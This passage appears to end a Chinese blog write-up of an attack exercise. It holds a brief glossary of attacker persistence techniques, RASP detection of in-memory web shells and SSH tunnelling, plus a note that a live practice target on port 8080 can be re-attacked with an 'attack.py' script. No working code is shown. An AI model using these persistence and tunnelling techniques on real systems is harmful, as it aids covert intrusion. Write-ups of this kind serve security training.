持久化攻击者让后门”重启也不消失”的手段(改jar/启动参数/计划任务)
RASP运行时的应用自我保护(能检测内存马的防护产品类型)
SSH 隧道用 SSH 加密连接转发端口流量(攻击者用它隐藏来源/内网穿透)

本笔记所有命令与输出均来自 2026-08-04 真实演练环境,可直接复现。 复现方式:ECS 上靶机仍在运行(8080 端口),本地执行 python attack.py 即可重打全流程。

评论

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注